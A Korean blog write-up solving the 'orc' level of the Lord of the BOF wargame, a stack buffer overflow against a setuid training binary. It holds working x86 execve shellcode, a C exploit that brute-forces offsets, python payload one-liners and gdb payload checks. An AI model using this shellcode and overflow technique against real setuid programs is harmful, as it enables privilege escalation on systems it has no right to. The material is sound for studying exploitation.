반응형

login as : goblin

password : hackers proof


bash2로 설정하기

 

이번 문제를 풀다보면 그냥 bash에서는 \xff를 입력했을 때 \x00으로 들어가지는 버그로 인해 올바른 payload 임에도 불구하고 공격이 실패한다.

 

그러므로 bash2로 실행해 패치하면 되는데, 매번 수동으로 실행하도록 하겠끔하기 번거로움으로 모든 사용자가 bash 대신 bash2를 사용하도록 설정한다.

 

 

먼저 root / hackerschoolbof로 접속한다.

 

vi /etc/passwd
:%s/bash/bash2

 

위와 같이 /etc/passwd 파일의 내용에서 모든 "bash" 문자열을 "bash2"로 바꾼다.

 

:wq

 

그리고 /etc/passwd 파일을 저장해준다.

 

 

bash2로 잘 실행되고 있는지는 다른 사용자로 로그인한 후 프로세스를 확인해보면 된다.


문제 확인

 

 

이번 문제 역시 문제 파일과 문제 파일의 소스코드가 있다.

 

문제 파일은 orc 계정으로 setuid가 걸려있기 때문에 문제 파일에 공격을 하여 성공하면 orc 계정의 password를 얻을 수 있다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

 

이제 살짝 난이도가 높아졌다.

 

결론적으로 사용자로부터 커맨드라인 인자로 입력값을 받아 buffer[40]에 저장한 다음 출력해주는 내용이지만

 

그 사이에 몇 가지 조건이 존재한다.

 

1. 사용자가 커맨드라인 인자로 입력값을 무조건 넘겨야 한다.

2. 환경 변수에 있는 문자열들을 0으로 만들어 환경 변수를 사용할 수 없게 한다.

3. 사용자가 커맨드라인 인자로 넘긴 입력값의 48번 째 byte 값이 "bf"이어야 한다.

배열의 인덱스는 0부터 시작하기 때문에 47에 1을 더해줘야 한다.

그리고 이는 buffer[40] + SFP[4] + RET[4] 한 결과가 48이기 때문에 RET 부분에 들어갈 4byte의 첫 byte가 bf로 시작해야 한다는 것이다.

(리틀 엔디언이기 때문에 47번째 인덱스를 검사한 것이다. 빅 엔디언이었다면 44번째 인덱스를 검사한다.) 

 

그렇다면 이번 문제에서는 환경 변수를 사용할 수 없으므로 환경 변수에 셸코드를 넣고 공격은 할 수 없다.

 

또한 RET 부분에 들어가야 할 4byte의 값 중 첫 번째 byte가 "bf"로 시작해야 하므로 RTL 기법도 사용할 수 없다.

 

하지만 buffer의 크기가 NOP와 셸코드를 담기에 충분하고, "bf"로 시작하는 4byte는 스택 영역의 주소가 있기 때문에

 

"NOP + shellcode + 스택 주소" 형태로 구성하면 된다.

 

그리고 이는 이미 LEVEL1에서 사용했던 방식이다.

 

즉 "NOP + shellcode +  NOP 영역의 스택 주소"로 구성하면 된다.

 

참고)

man environ

 

위와 같이 environ의 man 페이지를 확인할 수 있다.


dummy 값 확인

 

 

gdb를 이용해 dummy 값을 확인해보니 스택 공간을 44byte만 할당하는데, buffer[40], i[4]의 크기가 44byte이므로 dummy값은 없다.

 

낮은 주소
i 4
buffer 40
SFP 4
RET 4
argc 4
argv 4
env 4
높은 주소

 

그러면 orc의 스택 구조는 위와 같다.


공격

 

주변 스택 주소를 기준점으로 하여 offset 값을 빼 공격

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
	unsigned int i, ret, offset=68;
	char *command, *buffer;

	command = (char*)malloc(100);
	memset(command, 0, 100);

	strcpy(command, "./orc \'");
	buffer = command + strlen(command);

	if(argc > 1)
		offset = atoi(argv[1]);

	printf("i : %p\n", &i);
	ret = (unsigned int)&i - offset;
	printf("offset : %d\n", offset);
	printf("ret : %p\n", ret);

	for(i = 0; i < 48; i += 4)
		*((unsigned int*)(buffer+i)) = ret;

	memcpy(buffer, shellcode, strlen(shellcode));
	memset(buffer + strlen(shellcode), 0x90, 19);

	printf("command len : %d\n", strlen(command));
	strcat(command, "\'");

	system(command);
	free(command);

	return 0;
}
gcc -o exploit exploit.c
for i in `seq 0 100`; do echo Trying $i; ./exploit $i; done

 

기준점이 되는 스택의 주소에서 offset 값을 빼 buffer 안에 있는 셸 코드를 실행한다.

 

offset을 구하는 방법은 위에서 사용한 것처럼 bash shell의 for문을 이용하면 된다.

 

낮은 주소 
i 4
buffer 40
SFP 4
RET 4
argc 4
argv 4
env 4
buffer 4
command 4
offset 4
ret 4
i 4
SFP 4
RET 4
argc 4
argv 4
env 4
높은 주소

 

이렇게 공격한다면 스택 구조는 위와 같을 것이다.

 

bash shellscript로 공격

./orc `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\x80\xfc\xff\xbf"'`

 

위와 같이 bash shell script를 이용할 수도 있다.

 

스택 주소 구하는 법

cp orc orc2.c

 

위의 bash shellscript로 공격할 때 RET 부분에 들어가는 스택 주소를 구하기 위해서 먼저 orc.c 파일을 orc2.c 파일로 복사한다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        printf("buffer[40] : %p\n", buffer);
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
~
gcc -o orc2 orc2.c

 

orc2.c 파일을 위와 같이 buffer[40]의 주소를 출력하도록 코드를 수정해 컴파일한다.

 

./orc2 `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'`

 

그리고 나서 위와 같이 buffer[40] + SFP[4] + RET[4] 형태의 bash shellscript를 짜서 orc2 프로그램에 공격하면 buffer[40]의 위치가 나온다.

 

참고)

 

bash2로 변경하지 않고 진행한다면 위와 같이 똑같은 payload이지만 argv[1][47]의 값이 \xbf가 아닌 걸로 인식된다.


GDB로 payload 구성 확인

 

exploit의 payload 구성 확인

 

exploit를 gdb로 열어 memcpy() 함수를 호출하는 주소와 memset() 함수를 호출하는 주소에 bp를 걸고 위와 같이 인자를 주어 실행하면 memcpy() 함수를 호출하기 직전에 bp에 걸리게 된다.

 

 

아직 memcpy() 함수를 호출하기 전 동적 할당된 공간의 payload를 보면 &i - 68의 결과인 0xbffffc80이 48byte만큼 채워져 있다.

 

 

"ni" 명령을 이용해 memcpy() 함수를 호출하고 다시 payload를 보면 위와 같이 25byte만큼 shellcode로 덮어씌워졌다.

마지막 25번째 byte는 덮어씌워지지 않은 것 같아 보이지만 원래 0xbffffc80이었기 때문에 우연의 일치인 것 뿐이다.

 

 

'c' 명령으로 다음 bp까지 진행하면 memset() 함수를 호출하기 직전에 bp에 걸리게 되는데, "ni" 명령으로 memset() 함수를 호출한 다음 payload를 보면 위와 같이 빨간 박스는 shellcode, 파란 박스는 19개의 nop, 주황 박스는 RET 부분으로 구성된다.

 

orc2에서 payload 확인

r `python -c 'print "a" * 25 + "b" * 19 + "\xbf\xbf\xbf\xbf"'`

 

이번에는 orc2에서 실제로 buffer[40]에 페이로드가 어떻게 작성되는지 확인해본다.

 

위와 같이 strcpy() 함수를 호출하는 주소에 bp를 걸고 공격 스크립트를 인자로 주어 실행한다.

 

이전에 위에서 페이로드가  "shellcode + nop + 스택 주소" 형태인 것을 보았는데 스택의 주소가 0xbffffc80이여서 실제로 덮어씌워 졌는지 확인이 불가능했으므로 이번에는 shellcode 대신 'a', nop 대신 'b'를 사용한다.

 

 

strcpy() 함수를 호출하지 않은 상태에서 buffer[40]의 값을 보면 위와 같다.

 

 

ni 명령으로 strcpy() 함수를 호출한 후 buffer[40]의 값을 보면 위와같이 25byte의 0x61과 19byte의 0x62 그리고 RET 부분에 0xbfbfbfbf가 있는 것을 확인할 수 있다.


시행착오

 

위의 공격 스크립트를 보면 문제 파악에서 생각했던 "NOP + shellcode + 스택 주소" 형태가 아닌 "shellcode + NOP + 스택 주소" 형태이다.

 

./orc `python -c 'print "\x90" * 19 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x80\xfc\xff\xbf"'`

 

shellcode가 25byte이기 때문에 NOP가 19byte이면 44byte로 buffer[40]와 SFP를 덮어쓸 수 있고, 거기에 buffer[40]의 주소를 붙이면 48byte이므로 buffer[40] + SFP에 "NOP (19} + shellcode[25]" 형태로 덮어쓰고, RET 부분에 buffer[40]의 주소를 덮어써서 NOP를 따라 실행 흐름이 흐르다가 shellcode를 만나 셸코드가 실행되겠끔 하려고 했지만, 위와 같이 segmentation fault 에러가 발생한다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
	unsigned int i, ret, offset=68;
	char *command, *buffer;

	command = (char*)malloc(100);
	memset(command, 0, 100);

	strcpy(command, "./orc \'");
	buffer = command + strlen(command);

	if(argc > 1)
		offset = atoi(argv[1]);

	printf("i : %p\n", &i);
	ret = (unsigned int)&i - offset;
	printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

	for(i = 0; i < 48; i += 4)
		*((unsigned int*)(buffer+i)) = ret;

	memset(buffer, 0x90, 19);
	memcpy(buffer+19, shellcode, strlen(shellcode));

	printf("command len : %d\n", strlen(command));
	strcat(command, "\'");

	system(command);
	free(command);

	return 0;
}
gcc -o exploit exploit.c
for i in `seq 0 100`; do echo Trying $i; ./exploit $i; done

 

위와 같이 exploit.c 코드를 작성하여 offset을 바꿔가며 공격을 해봐도 성공하지 않는다.

 

그래서 수많은 블로그 글들을 참고하다가 https://dongdd.tistory.com/92 이 블로그에서 힌트를 얻었다.

 

이 블로그 글에 따르면 shellcode와 return address 사이의 거리가 일정 거리 이상이 되어야 공격에 성공한다고 한다.

 

./orc `python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 19 + "\x80\xfc\xff\xbf"'`

 

그래서 "nop + shellcode + 스택 주소" 구성에서 "shellcode + nop + 스택주소" 구성으로 바꿔봤더니 성공됐다.

 

그렇다면 shellcode와 return address 사이의 거리가 얼마나 되어야 성공하는 걸까

 

./orc `python -c 'print "\x90" * 1 +"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 18 + "\x80\xfc\xff\xbf"'`

./orc `python -c 'print "\x90" * 2 +"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 17 + "\x80\xfc\xff\xbf"'`

./orc `python -c 'print "\x90" * 3 +"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 16 + "\x80\xfc\xff\xbf"'`

./orc `python -c 'print "\x90" * 4 +"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 15 + "\x80\xfc\xff\xbf"'`

 

위와 같이 테스트를 진행해보니 최소 shellcode와 return address 사이의 거리가 16byte는 되어야 한다는 것을 알게 됐다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=68;
        char *command, *buffer;

        command = (char*)malloc(100);
        memset(command, 0, 100);

        strcpy(command, "./orc \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i : %p\n", &i);
        ret = (unsigned int)&i - offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 48; i += 4)
                *((unsigned int*)(buffer+i)) = ret;

        memset(buffer, 0x90, 3);
        memcpy(buffer+3, shellcode, strlen(shellcode));
        memset(buffer + 3 + strlen(shellcode), 0x90, 16);

        printf("command len : %d\n", strlen(command));
        strcat(command, "\'");

        system(command);
        free(command);

        return 0;
}
gcc -o exploit exploit.c

 

위의 테스트 결과를 exploit.c에 반영해 위와 같이 수정한 다음 실행해보면 성공적으로 셸이 떨어지는 것을 확인할 수 있다.

 


https://kldp.org/node/28993

https://ls-toast.tistory.com/3 

 

반응형

+ Recent posts